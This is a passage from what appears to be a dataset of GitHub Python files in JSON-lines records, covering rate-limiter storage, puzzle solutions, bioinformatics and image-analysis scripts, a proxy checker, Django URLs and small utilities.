no_add:\n with self.storage.pipeline() as pipeline:\n pipeline.lpush(key, timestamp)\n pipeline.ltrim(key, 0, limit - 1)\n pipeline.expire(key, expiry)\n pipeline.execute()\n return True\n\n def get_moving_window(self, key, limit, expiry):\n \"\"\"\n returns the starting point and the number of entries in the moving window\n\n :param str key: rate limit key\n :param int expiry: expiry of entry\n \"\"\"\n timestamp = time.time()\n return tuple(self.lua_moving_window(\n [key], [int(timestamp - expiry), limit]\n ))\n\n def get_expiry(self, key):\n \"\"\"\n :param str key: the key to get the expiry for\n \"\"\"\n return int(self.storage.ttl(key) + time.time())\n\nclass MemcachedStorage(Storage):\n \"\"\"\n rate limit storage with memcached as backend\n \"\"\"\n MAX_CAS_RETRIES = 10\n STORAGE_SCHEME = \"memcached\"\n\n def __init__(self, uri):\n \"\"\"\n :param str host: memcached host\n :param int port: memcached port\n :raise ConfigurationError: when pymemcached is not available\n \"\"\"\n parsed = urllib.parse.urlparse(uri)\n self.cluster = []\n for loc in parsed.netloc.split(\",\"):\n host, port = loc.split(\":\")\n self.cluster.append((host, int(port)))\n\n if not get_dependency(\"pymemcache\"):\n raise ConfigurationError(\"memcached prerequisite not available.\"\n \" please install pymemcache\") # pragma: no cover\n self.local_storage = threading.local()\n self.local_storage.storage = None\n\n @property\n def storage(self):\n \"\"\"\n lazily creates a memcached client instance using a thread local\n \"\"\"\n if not (hasattr(self.local_storage, \"storage\") and self.local_storage.storage):\n self.local_storage.storage = get_dependency(\n \"pymemcache.client\"\n ).Client(*self.cluster)\n return self.local_storage.storage\n\n def get(self, key):\n \"\"\"\n :param str key: the key to get the counter value for\n \"\"\"\n return int(self.storage.get(key) or 0)\n\n def incr(self, key, expiry, elastic_expiry=False):\n \"\"\"\n increments the counter for a given rate limit key\n\n :param str key: the key to increment\n :param int expiry: amount in seconds for the key to expire in\n :param bool elastic_expiry: whether to keep extending the rate limit\n window every hit.\n \"\"\"\n if not self.storage.add(key, 1, expiry, noreply=False):\n if elastic_expiry:\n value, cas = self.storage.gets(key)\n retry = 0\n while (\n not self.storage.cas(key, int(value or 0)+1, cas, expiry)\n and retry < self.MAX_CAS_RETRIES\n ):\n value, cas = self.storage.gets(key)\n retry += 1\n self.storage.set(key + \"/expires\", expiry + time.time(), expire=expiry, noreply=False)\n return int(value or 0) + 1\n else:\n return self.storage.incr(key, 1)\n self.storage.set(key + \"/expires\", expiry + time.time(), expire=expiry, noreply=False)\n return 1\n\n def get_expiry(self, key):\n \"\"\"\n :param str key: the key to get the expiry for\n \"\"\"\n return int(float(self.storage.get(key + \"/expires\") or time.time()))\n\n","repo_name":"nate-parrott/forty-two-pages","sub_path":"venv/lib/python2.7/site-packages/flask_limiter/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":12356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18986471184","text":"def part1(fishes):\n for i in range(80):\n new_fishes = fishes[:]\n for i, timer in enumerate(new_fishes):\n if timer == 0:\n fishes[i] = 6\n fishes.append(8)\n else:\n fishes[i] -= 1\n\n return len(fishes)\n\n\ndef part2(fishes):\n fish2timer ={}\n for i in range(0, 9):\n fish2timer[i] = 0\n for fish in fishes:\n fish2timer[fish] += 1\n\n for i in range(256):\n num_zeros = fish2timer[0]\n for key in range(0, 8):\n if key == 6:\n fish2timer[key] = fish2timer[key + 1] + num_zeros\n else:\n fish2timer[key] = fish2timer[key + 1]\n fish2timer[8] = num_zeros\n\n count = 0\n for key in fish2timer.keys():\n count += fish2timer[key]\n\n return count\n\n\ndef main():\n with open(\"input/input6.txt\", \"r\") as f: # open file\n f = f.read().split(',') # read line, lines stores the txt file\n fishes = [int(i) for i in f]\n\n ans1 = part1(fishes[:])\n print(\"part 1:\", ans1)\n ans2 = part2(fishes[:])\n print(\"part 2:\", ans2)\n\n\nmain()\n","repo_name":"jackfrost168/adventofcode","sub_path":"2021/day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"4843263494","text":"import os\nimport sys\nimport fileinput\nimport argparse\nimport gzip\nimport numpy as np\nimport scipy as sp\nimport re\n\n#----------- FUNCTIONS\n\n\n#----------- MAIN\nif __name__ == \"__main__\":\n\t\n\tUSAGE = \"\"\"\n\tAdd info about major and minor alleles to annotated CRISPR variants.\n \"\"\"\n\n\tparser = argparse.ArgumentParser(description = USAGE)\n\tparser.add_argument('--IN', dest = 'IN', required = True, help = 'input VCF')\n\tparser.add_argument('--OUT', dest = 'OUT', required = True, help = 'output VCF')\n\tparser.add_argument('--FRQ', dest = 'FRQ', required = True, help = 'frequency data')\n\n\targs = parser.parse_args()\n\n\tIN = args.IN\n\tOUT = args.OUT\n\tFRQ = args.FRQ\n\n\tIN = open(IN)\n\tOUT = open(OUT, 'w')\n\tFRQ = open(FRQ)\n\n\talleles = {}\n\tFRQ.readline()\n\tfor line in FRQ:\n\t\tline = line.rstrip().split('\\t')\n\t\tchrom = line[0]\n\t\tpos = line[1]\n\t\tif chrom not in alleles:\n\t\t\talleles[chrom] = {}\n\t\talleles[chrom][pos] = {}\n\t\tfor allele in line[4:]:\n\t\t\tnuc, frq = allele.split(':')\n\t\t\talleles[chrom][pos][nuc] = float(frq)\n\tFRQ.close()\n\n\theader = IN.readline().rstrip()\n\tOUT.write(header + '\\t' + 'Major' + '\\n')\n\tfor line in IN:\n\t\tline = line.rstrip().split('\\t')\n\t\tchrom = line[0]\n\t\tpos = line[1]\n\t\tref = line[3]\n\t\talt = line[4]\n\t\tif alleles[chrom][pos][ref] >= 0.5:\n\t\t\tmajor = ref\n\t\telse:\n\t\t\tmajor = alt\n\t\tOUT.write('\\t'.join(line + [major]) + '\\n')\n\n\n\n","repo_name":"joed3/GTExV6PRareVariation","sub_path":"crispr/add.major.minor.alleles.py","file_name":"add.major.minor.alleles.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"70"} +{"seq_id":"75174273507","text":"#!/usr/bin/envs python3\n\nfrom data.Data_Parser import Data_Parser\nfrom data.Materials import Materials, Material\nfrom data.Calculator import Calculator\nfrom plotting.FEDPlotter import FED_plotter\nfrom network.Network import Network\nfrom pymatgen.core import Structure\nfrom pymatgen.io.ase import AseAtomsAdaptor\nfrom ase.visualize import view\nfrom matplotlib import pyplot as plt\n\n\nclass Analyzer:\n def __init__(self, data_path:str, filename:str, bulks:list) -> None:\n self.bulks = bulks\n self.data = Data_Parser(data_path, filename)\n\n def calculate_surface_properties(self, materials:Materials, reaction:str, ev=True): # this method needs to return a dictionary with all the necessary values for analysis\n calculator = Calculator(self.data, reaction=reaction)\n # surface_data = materials.get_surface_data()\n calculator.calculate_surface_properties(materials)\n # return materials\n\n def do_analysis(self, reaction=\"NRR\") -> None:\n materials = Materials(self.data, self.bulks)\n self.materials = materials\n self.calculate_surface_properties(materials, reaction)\n\n def get_data(self, reaction:str) -> dict:\n data_dict = {}\n materials = Materials(self.data, self.bulks)\n calculator = Calculator(self.data, reaction)\n for material in materials.materials:\n material_energy = calculator.calculate_material_energies(material)\n for surface in material.surfaces:\n data_dict.update({surface:material_energy[surface]})\n return data_dict\n \n def surface_data(self, surface:str) -> dict:\n bulk = surface.split(\"_\")[0]\n material = self.materials.get_material(bulk)\n material_data = material.energies\n surface_data = material_data[surface]\n return surface_data\n \n \n def get_FED_energies(self, bias, referenced=\"final\") -> dict:\n calculator = Calculator(self.data, reaction=\"NRR\")\n FED_energies = {}\n bias = self.bias_float_to_str(bias)\n for material in self.materials.materials:\n for surface in material.converged_surfaces():\n FED_energies[surface] = calculator.get_FED_energy(material, surface, bias, referenced=referenced)\n \n return FED_energies\n \n def get_FED_energy(self, surface:str, bias:float, reaction:str, referenced=\"final\") -> float:\n calculator = Calculator(self.data, reaction)\n bias = self.bias_float_to_str(bias)\n bulk = surface.split(\"_\")[0]\n materials = Materials(self.data, self.bulks)\n material = materials.get_material(bulk)\n return calculator.get_FED_energy(material, surface, bias, referenced=referenced)\n \n def bias_float_to_str(self, bias:float) -> str:\n return f\"{bias:.2f}\" + \"V\"\n \n def visualize_contcar(self, bias, surface, intermediate, site=None) -> None:\n bias = self.bias_float_to_str(bias)\n if site == None:\n site, energy = self.data.get_lowest_site(surface, intermediate, bias)\n \n struct_dict = self.data.get_contcar(surface, bias, intermediate, site)\n print(struct_dict)\n struct = Structure.from_dict(struct_dict)\n atoms = AseAtomsAdaptor.get_atoms(struct)\n view(atoms)\n\n def get_span(self, reaction:str, material:Material, surface:str, bias:float) -> dict:\n calculator = Calculator(self.data, reaction)\n gmax, span = calculator.calculate_span(reaction, material, surface, bias)\n # network = Network(reaction)\n # network.add_data_to_nodes(material.get_FED_energy(surface, bias))\n # intermediates = material.get_converged_intermediates()\n # subgraph = network.connected_subgraph(intermediates[surface])\n # network.reconnect(subgraph)\n # subgraph = network.connected_subgraph(intermediates)\n # return subgraph\n return gmax, span\n #TODO implement reaction network graph theory stuff\n \n def get_spans(self, reaction:str) -> dict:\n\n # network = Network(reaction)\n span_dict = {}\n for material in self.materials.materials:\n intermediates = material.get_converged_intermediates()\n for surface in intermediates.keys():\n bias_dict = {}\n for bias in material.get_biases(surface):\n gmax, span = self.get_span(reaction, material, surface, bias)\n bias_dict[bias] = (gmax, span)\n span_dict[surface] = bias_dict\n return span_dict\n # method to get all spans for all the surfaces and biases\n\n def get_binding_energies(self, bias, reaction=\"NRR\") -> dict:\n calculator = Calculator(self.data, reaction)\n bias = self.bias_float_to_str(bias)\n binding_energies = calculator.calculate_binding_energies(self.materials, bias)\n return binding_energies\n \n def plot_FED(self, reaction:str, surface:str, bias:float, referenced=\"final\", color=\"#f00000\", graph_objects=None) -> plt.Figure:\n # bias = self.bias_float_to_str(bias)\n FED_energy = self.get_FED_energy(surface, bias, reaction, referenced=referenced)\n plotter = FED_plotter(reaction, FED_energy)\n fig, ax = plotter.plot(surface, bias, graph_objects=graph_objects, color=color)\n state_length = 1\n connector_length = 1/2\n # for i in range(len(FED_energy)):\n # plt.show()\n return fig, ax\n\n def save_data(self, path, filename): # save data to json\n pass","repo_name":"cote3804/JDFT_tools","sub_path":"RxNetwork/Analyzer.py","file_name":"Analyzer.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"12959431960","text":"\"\"\"Going for the Immer HTML to CSV goal, since I was just working with CSV's on HW 8\"\"\"\n\"\"\"from the index file I will create a dictionary\nbased on tag, read from the dictoonary, and write the output\nto a csv file\"\"\"\nimport requests\nfrom bs4 import BeautifulSoup\nimport csv\n\n#get the website coming in\ndef get_url():\n url = \"https://raw.githubusercontent.com/denisemauldin/immer/master/index.html\"\n # url = input(\"Please specify a URL: \")\n return(url)\n#get the tags coming in\ndef tag_ui():\n #tags_in = input(\"Please specify what tag you are looking for: \")\n tags_in = 'div'\n return(tags_in)\n\n#get_tags does the heavy lifting, using soup to drill down to the tag we are looking for\ndef get_sites(soup,tag):\n tag_back = {}\n #get the sites\n for x in soup.find_all('div'):\n if x.get('id') == 'site-legend':\n x1 = x\n for x2 in x1.find_all('div'):\n if x2.get('id') == 'site':\n tag_out = x2.string.strip()\n tag_list = tag_out.split(' = ')\n tag_back.update({tag_list[0]:tag_list[1]})\n return tag_back\ndef get_var(soup,tag):\n tag_back = {}\n #get the varities\n for x in soup.find_all('div'):\n if x.get('id') == 'variety-legend':\n x1 = x\n for x2 in x1.find_all('div'):\n if x2.get('id') == 'variety':\n x3 = x2.string.strip()\n x4 = x3.split(' = ')\n tag_back.update({x4[0]: x4[1]})\n return tag_back\n\ndef get_site(soup,tag):\n tag_back = []\n for x in soup.find_all('div'):\n if x.get('id') == 'barley-data':\n x1 = x\n for x2 in x1.find_all('div'):\n if x2.get('id') == 'site':\n x3 = x2.string.strip()\n tag_back.append(x3)\n return tag_back\n\ndef get_variety(soup,tag):\n tag_back = []\n for x in soup.find_all('div'):\n if x.get('id') == 'barley-data':\n x1 = x\n for x2 in x1.find_all('div'):\n if x2.get('id') == 'variety':\n x3 = x2.string.strip()\n tag_back.append(x3)\n return tag_back\n\ndef get_y1(soup,tag):\n tag_back = []\n for x in soup.find_all('div'):\n if x.get('id') == 'barley-data':\n x1 = x\n for x2 in x1.find_all('div'):\n if x2.get('id') == 'Y1':\n x3 = x2.string.strip()\n tag_back.append(x3)\n return tag_back\n\ndef get_y2(soup,tag):\n tag_back = []\n for x in soup.find_all('div'):\n if x.get('id') == 'barley-data':\n x1 = x\n for x2 in x1.find_all('div'):\n if x2.get('id') == 'Y2':\n x3 = x2.string.strip()\n tag_back.append(x3)\n return tag_back\n\n\n#create an output file\n\n\n\n\n#main funciton controls everything\ndef write_out():\n url = get_url()\n tags_in = tag_ui()\n # use requests to get the url\n response = requests.get(url)\n # get the content from the response\n content = response.content\n #variable dictionary\n var_dict = get_var(BeautifulSoup(content, 'lxml'),tags_in)\n #site dictionary\n sites_dict = get_sites(BeautifulSoup(content, 'lxml'),tags_in)\n #data dictionary\n site_list = get_site(BeautifulSoup(content, 'lxml'), tags_in)\n variety_list = get_variety(BeautifulSoup(content, 'lxml'), tags_in)\n y1_list = get_y1(BeautifulSoup(content, 'lxml'), tags_in)\n y2_list = get_y2(BeautifulSoup(content, 'lxml'), tags_in)\n x = 0\n fout = open('hw7_out.txt', 'w')\n while x < len(y1_list):\n site_in = sites_dict.get(site_list[x])\n variety_in = var_dict.get(variety_list[x])\n out_line = str(site_in+','+variety_in +','+y1_list[x]+','+y2_list[x]+'\\n')\n fout.write(out_line)\n x = x + 1\n fout.close()\n\n\n#below runs the program\nif __name__ == '__main__':\n write_out()\n\n\n\n\n","repo_name":"r-graves/FDN-100","sub_path":"hw7.py","file_name":"hw7.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"70754786788","text":"\"\"\"\nProxyValidator\nThe fastest and best proxy validator. Supports HTTP and SOCKS.\n\"\"\"\n\nfrom threading import Lock, Thread\nfrom requests import get, RequestException\n\n\nclass ProxyValidator:\n \"\"\"\n Class to validate the validity of proxy servers.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Initializes the ProxyValidator class.\n \"\"\"\n self.validated_proxies = set()\n self.lock = Lock()\n\n def run(self, proxies_file, max_threads: int):\n \"\"\"\n Runs the proxy validation process.\n\n Args:\n proxies_file (str): Path to the file containing proxy addresses.\n max_threads (int): Maximum number of threads to use.\n \"\"\"\n with open(proxies_file, \"r\", encoding=\"utf-8\") as file:\n proxies = file.read().splitlines()\n\n threads = []\n for proxy in proxies:\n thread = Thread(target=self.validate_proxy, args=(proxy,))\n threads.append(thread)\n thread.start()\n if len(threads) >= max_threads:\n for thread in threads:\n thread.join()\n threads = []\n for thread in threads:\n thread.join()\n\n with open(\"validated_proxies.txt\", \"a\", encoding=\"utf-8\") as file:\n with self.lock:\n for proxy in self.validated_proxies:\n file.write(f\"{proxy}\\n\")\n\n def validate_proxy(self, proxy):\n \"\"\"\n Validates if a proxy is working by sending a request to google.com\n\n Args:\n proxy (str): Proxy address to validate.\n \"\"\"\n try:\n response = get(\n \"https://google.com/\",\n proxies={\n \"http\": proxy,\n \"https\": proxy,\n \"socks4\": proxy,\n \"socks5\": proxy,\n },\n timeout=5,\n )\n if response.status_code == 200:\n with self.lock:\n print(f\"\\033[32mProxy {proxy} is valid. \\033[0m\")\n self.validated_proxies.add(proxy)\n else:\n with self.lock:\n print(f\"\\033[31mProxy {proxy} isn't valid.\\033[0m\")\n except RequestException:\n with self.lock:\n print(f\"\\033[31mProxy {proxy} isn't valid.\\033[0m\")\n","repo_name":"Ruu3f/ProxyValidator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8703644831","text":"#!/usr/bin/python3\n\n\n# importowane moduły\nfrom Solver import *\nfrom InputValidator import *\nfrom InputReader import *\nimport numpy\nimport subprocess\nfrom time import gmtime, strftime\n\n\n\"\"\"\n\tgłówna klasa\n\tzawiera funkcje odpowiedzialną za działanie całego programu oraz funkcje wypisującą historię użytkowania programu\n\"\"\"\nclass ApplicationMgr:\n\t#konstruktor\n\tdef __init__(self):\n\t\tself.inputvaludator = InputValidator()\n\t\tself.inputreader = InputReader()\n\t\tself.solver = Solver()\n\t\tprint(\"Witaj w programie!\")\n\t\tself.run()\n\t\t\n\tdef history(self):\n\t\ttry:\n\t\t\tfp = open(\"history.txt\", \"r\")\n\t\t\tlines = fp.readlines()\n\t\t\tfor line in lines:\n\t\t\t\tprint(line,end=\"\")\n\t\t\tfp.close()\n\t\texcept FileNotFoundError:\n\t\t\tprint(\"Brak historii\")\n\t\t\treturn\n\t\t\n\t\t\n\tdef run(self):\n\t\tmenuinput=\"\"\n\t\toption=1\n\t\tequations_list = []\n\t\t#główna pętla programu\n\t\twhile( True ):\n\t\t\n\t\t\t#zmienne odpowiedzialne za działanie pętli w których wczytywane są równania\n\t\t\teq1_loop, eq2_loop = True,True\n\t\t\t#listy zawierające współczynniki równania\n\t\t\teq1,eq2=[],[]\n\t\t\tprint(\"Wybierz --1-- aby rozwiązać równanie\")\n\t\t\tprint(\"Wybierz --2-- aby wyswietlic historie rozwiazan\")\n\t\t\tprint(\"Wybierz --q-- aby wyjść\")\n\t\t\t#wczytywanie opcji wybranej przez yżytkownika\n\t\t\tmenuinput = self.inputreader.menu_loader()\n\t\t\t#print(menuinput)\n\t\t\t\n\t\t\t#wybór działania w zależności od wyboru użytkownika\n\t\t\tif(menuinput == 'q'):\n\t\t\t\tbreak\n\t\t\telif(menuinput == str(2)):\n\t\t\t\tself.history()\n\t\t\telif( menuinput != str(1)):\n\t\t\t\tprint(\"Nie ma takiej opcji!\")\n\t\t\t\t\n\t\t\telse:\n\t\t\t\t#pętla w której użytkownik podaje pierwsze równanie\n\t\t\t\twhile(eq1_loop):\n\t\t\t\t\tprint(\"Pierwsze równanie:\")\n\t\t\t\t\t#wczytywanie współczynników rownania\n\t\t\t\t\teq1 = self.inputreader.equation_loader()\n\t\t\t\t\tprint(\"Wczytano równanie: \" + str(eq1[0]) + \n\t\t\t\t\t\t\"x + \" + str(eq1[1]) + \"y = \" + str(eq1[2]))\n\t\t\t\t\tprint(\"Zatwierdź równanie lub podaj je jeszcze raz\")\n\t\t\t\t\t#wczytywanie działania podanego przez użytkownika\n\t\t\t\t\toption = self.inputreader.eq_option_loader()\n\t\t\t\t\t#print(option)\n\t\t\t\t\tif(option == str(1)):\n\t\t\t\t\t\teq1_loop=False\n\t\t\t\t#pętla w ktorej użytkownik podaje drugie równanie\n\t\t\t\twhile(eq2_loop):\n\t\t\t\t\tprint(\"Drugie równanie:\")\n\t\t\t\t\teq2 = self.inputreader.equation_loader()\n\t\t\t\t\tprint(\"Wczytano równanie: \" + str(eq2[0]) + \n\t\t\t\t\t\t\"x + \" + str(eq2[1]) + \"y = \" + str(eq2[2]))\n\t\t\t\t\tprint(\"Zatwierdź równanie lub podaj je jeszcze raz\")\n\t\t\t\t\toption = self.inputreader.eq_option_loader()\n\t\t\t\t\t#print(option)\n\t\t\t\t\tif(option == str(1)):\n\t\t\t\t\t\teq2_loop=False\n\t\t\t\tprint(\"Wczytane równania\")\n\t\t\t\t#wypis wczytanych równań\n\t\t\t\tself.inputvaludator.print_equation(eq1)\n\t\t\t\tself.inputvaludator.print_equation(eq2)\n\t\n\t\t\t\t#zapis rozwiązania \n\t\t\t\tresult = self.solver.solve(eq1,eq2)\n\t\t\t\t#wychwycenie gdy podany układ ma nieskończenie wiele rozwiązań lub jest sprzeczny\n\t\t\t\tif(result is -1):\n\t\t\t\t\tprint(\"Układ ma nieskończenie wiele rozwiązań lub jest sprzeczny\")\n\t\t\t\telse:\n\t\t\t\t\t#wypis rozwiązania układu\n\t\t\t\t\tself.inputvaludator.print_result(result)\n\t\t\t\t\t#generowanie wykresu\n\t\t\t\t\tself.solver.plot_chart(eq1,eq2)\n\t\t\t\t\t#zapis do historii działania programu\n\t\t\t\t\tself.solver.save_data(eq1,eq2,result)\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t#komunikat na zakończenie programu\n\t\tprint(\"Żegnaj!\")\n\t\t\n\n\n\n\n#stworzenie obiektu klasy jest równoznaczne z odpaleniem funkcji run(), która odpowiada za działanie całej aplikacji\na = ApplicationMgr()\n\n","repo_name":"piotrponichtera/PitE","sub_path":"lab01/lab01.py","file_name":"lab01.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25998553208","text":"from django.conf.urls.defaults import *\nfrom django.views.generic import date_based, list_detail\n\nfrom tagging.views import tagged_object_list\n\nfrom train.views import tags, tiny\nfrom train.models import Article\n\npost_home = {\n 'queryset': Article.objects.filter(status=\"live\").order_by(\"-pub_date\"),\n 'template_name' : \"train/home.html\",\n 'paginate_by' : 15\n}\n\nposts = {\n 'queryset': Article.objects.filter(status=\"live\").order_by(\"-pub_date\"),\n 'date_field': 'pub_date'\n}\n\ntinyposts = {\n 'queryset': Article.objects.filter(status=\"live\").order_by(\"-pub_date\"),\n}\n\nurlpatterns = patterns('',\n url(r'^$',\n list_detail.object_list,\n post_home,\n name='train_article_archive_index'),\n url(r'^(?P\\d+)$',\n tiny,\n name='train_article_tinyurl'),\n url(r'^(?P\\d{4})/$',\n date_based.archive_year,\n dict(posts, make_object_list=True),\n name='train_entry_archive_year'),\n url(r'^(?P\\d{4})/(?P\\d{2})/$',\n date_based.archive_month,\n dict(posts, month_format='%m'),\n name='train_entry_archive_month'),\n url(r'^(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/$',\n date_based.archive_day,\n dict(posts, month_format='%m'),\n name='train_entry_archive_day'),\n url(r'^(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/(?P[-\\w]+)/$',\n date_based.object_detail,\n dict(posts, slug_field='slug', month_format='%m'),\n name='train_entry_detail'),\n (r'^tags/$', tags),\n url(r'^tags/(?P[^/]+)/$',\n tagged_object_list,\n dict(queryset_or_model=Article, related_tags=True, allow_empty=True),\n name='widget_tag_detail'),\n)","repo_name":"garethr/django-train","sub_path":"src/train/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"9805756737","text":"\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\"\"\"\n\nclass TreeNode:\n def __init__(self,val):\n self.val = val\n self.left,self.right = None, None\n\n\ndef buildSubTree(inorder, inBeg, inEnd, postorder, postBeg, postEnd):\n inLen = len(inorder)\n postLen = len(postorder)\n if inBeg == inEnd or inEnd > inLen or postBeg == postEnd or postEnd > postLen:\n return None\n\n root = TreeNode(postorder[postEnd - 1])\n pos = inorder.index(root.val)\n\n leftLen = pos - inBeg - 1\n root.left = buildSubTree(inorder, inBeg, inBeg + leftLen + 1, postorder, postBeg, postBeg + leftLen + 1)\n root.right = buildSubTree(inorder, inBeg + leftLen + 2, inEnd, postorder, postBeg + leftLen + 1, postEnd - 1)\n\n return root\n\n\nclass Solution:\n \"\"\"\n @param inorder : A list of integers that inorder traversal of a tree\n @param postorder : A list of integers that postorder traversal of a tree\n @return : Root of a tree\n \"\"\"\n\n def buildTree(self, inorder, postorder):\n # write your code here\n return buildSubTree(inorder, 0, len(inorder), postorder, 0, len(postorder))\n\n\ns = Solution()\n\ninorder = [1,2]\npostorder = [2,1]\n\nroot = s.buildTree(inorder,postorder)\n\n","repo_name":"shineyr/LintCode","sub_path":"72_buildTree.py","file_name":"72_buildTree.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"5338678015","text":"from pyrocko import model\nfrom pyrocko.gui.snuffling import Snuffling\n\n\nclass ExtractEvents(Snuffling):\n '''\n Extract Events of selected Event Markers and write them to a catalog file.\n '''\n\n def setup(self):\n self.set_name('Write Events to Catalog')\n self.set_live_update(False)\n\n def call(self):\n markers = self.get_selected_event_markers()\n events = [m.get_event() for m in markers]\n if len(events) == 0:\n self.fail('no events found')\n\n out_filename = self.output_filename('Template for output files')\n model.dump_events(events, filename=out_filename)\n\n\ndef __snufflings__():\n return [ExtractEvents()]\n","repo_name":"pyrocko/contrib-snufflings","sub_path":"extract_catalog.py","file_name":"extract_catalog.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"70"} +{"seq_id":"72619297185","text":"import pygame\n\n\nclass Trigger(pygame.sprite.Sprite):\n def __init__(self, x, y, width, height, name, parallax):\n super().__init__()\n self.original_pos = (x, y)\n self.hitbox = pygame.Rect(x, y, width, height)\n self.name = name\n self.parallax = parallax\n\n def apply_scroll(self, scroll_value, use_parallax):\n if use_parallax:\n self.hitbox.x -= int(scroll_value[0] * self.parallax[0])\n self.hitbox.y -= int(scroll_value[1] * self.parallax[1])\n else:\n self.hitbox.x -= int(scroll_value[0])\n self.hitbox.y -= int(scroll_value[1])\n\n def update(self, scroll_value, use_parallax=False):\n self.apply_scroll(scroll_value, use_parallax)\n\n\n# stores correspoding in-room spawn as property\nclass SpawnTrigger(Trigger):\n def __init__(self, x, y, width, height, name, parallax, trigger_spawn):\n super().__init__(x, y, width, height, name, parallax)\n self.trigger_spawn = trigger_spawn\n\n def apply_scroll(self, scroll_value, use_parallax=False):\n if use_parallax:\n self.hitbox.x -= int(scroll_value[0] * self.parallax[0])\n self.hitbox.y -= int(scroll_value[1] * self.parallax[1])\n else:\n self.hitbox.x -= int(scroll_value[0])\n self.hitbox.y -= int(scroll_value[1])\n self.trigger_spawn.update(scroll_value)","repo_name":"towella/testing-procedural-animation","sub_path":"code/trigger.py","file_name":"trigger.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"15722344326","text":"import math\n\ndef numberoftriangles(p):\n counter = 0\n for a in range(1,p-1):\n for b in range(a,p-a): # check b in range a to p-a as if b>p-a... then a+b>p\n c = math.sqrt(a**2+b**2)\n if a+b+c==p:\n counter += 1\n else:\n continue\n return counter\n\n\nMAX=0\nMAXp=0\nfor k in range(12,1000):\n q = numberoftriangles(k)\n if q>MAX:\n MAX=q\n MAXp=k\n print(MAXp)\n else:\n continue\n","repo_name":"tajpatel58/Machine-Learning-","sub_path":"Project Euler/Integer Right Triangles.py","file_name":"Integer Right Triangles.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25117917307","text":"import os\nimport sys\nimport glob\nfrom img_handling.droplets import *\nfrom img_handling.labelme import *\nfrom detector.circle_detector import detect_circles, preprocess_img\nfrom detector.fringe_count import *\nfrom detector.detector_configuration import *\nimport json\n\n\nDIRPATH = 'resources/105mm_60deg.6mxcodhz.000000/'\nDIRPATH = os.path.abspath(DIRPATH)\n\nsettings = get_detector_settings()\n# settings = {\n# # not need to tune...\n# 'circle_mask_rad': 30, # this should be the radius of the circl in px\n# 'circle_mask_radoff_size': 5,\n# 'ds_coeff': 2,\n# 'circle_mask_wdth': None,\n# 'debug': False,\n# # tune these\n# 'pxcorr1': 94, # tune from 80 to 99\n# 'pxcorr2': 93, # tune from 80 to 99\n# 'peakfind_thr': 0.2, # tune from 0.001 to 0.5\n# 'peakfind_min_max_nghbr': 20, # tune from 10 to 50\n# 'CLAHE_clip_limit': 22, # tune from 2 to 50\n# 'CLAHE_grid_size': 13 # tune from 8 to 60\n# }\n\nLM_PATHS = glob.glob(os.path.join(DIRPATH, '*.json'))\nLM_NAMES = [x.split(os.sep)[-1] for x in LM_PATHS]\nprint(LM_PATHS)\nprint(LM_NAMES)\n\ndet_json = {}\n\nfor k, jpath in enumerate(LM_PATHS):\n img = load_labelme_image(jpath)\n gt_droplets = load_labelme_droplet_labels(jpath)\n\n pimg = preprocess_img(img, settings['CLAHE_clip_limit'], settings['CLAHE_grid_size'])\n\n try:\n coords = detect_circles(pimg, DS_COEFF=settings['ds_coeff'],\n circle_mask_rad=settings['circle_mask_rad'],\n circle_mask_wdth=settings['circle_mask_wdth'],\n circle_mask_radoff_size=settings['circle_mask_radoff_size'],\n pxcorr1=settings['pxcorr1'], pxcorr2=settings['pxcorr2'],\n peakfind_thr=settings['peakfind_thr'],\n peakfind_min_max_nghbr=settings['peakfind_min_max_nghbr'],\n debug=settings['debug'])\n\n det_droplets = coords2droplet_labels_list(coords, circle_radius=settings['circle_mask_rad'],\n img_path=jpath)\n except Exception as e:\n print('Detecting circles in image {} failed: {}, skipping image'.format(jpath, e))\n continue\n\n # FRINGE COUNT\n for det_droplet in det_droplets:\n try:\n ds = droplet_slice_from_image(img, det_droplet)\n n_fringes, DS, pk_coords, score = count_fringes(ds)\n ds.score = score\n det_droplet.slice = ds\n det_droplet.fringe_count = n_fringes\n\n except SliceOutOfBoundsError as se:\n print('Slice is out of bounds, cannot count fringes on incomplete circle')\n continue\n # else:\n except Exception as e:\n print('Fringe count failed on a droplet {}, because {}'.format(det_droplet.name, e))\n continue\n\n # JSONIFY THE OUTPUTS\n gt_droplets_json = [x.json() if x is not None else {} for x in gt_droplets]\n det_droplets_json = [x.json() if x is not None else {} for x in 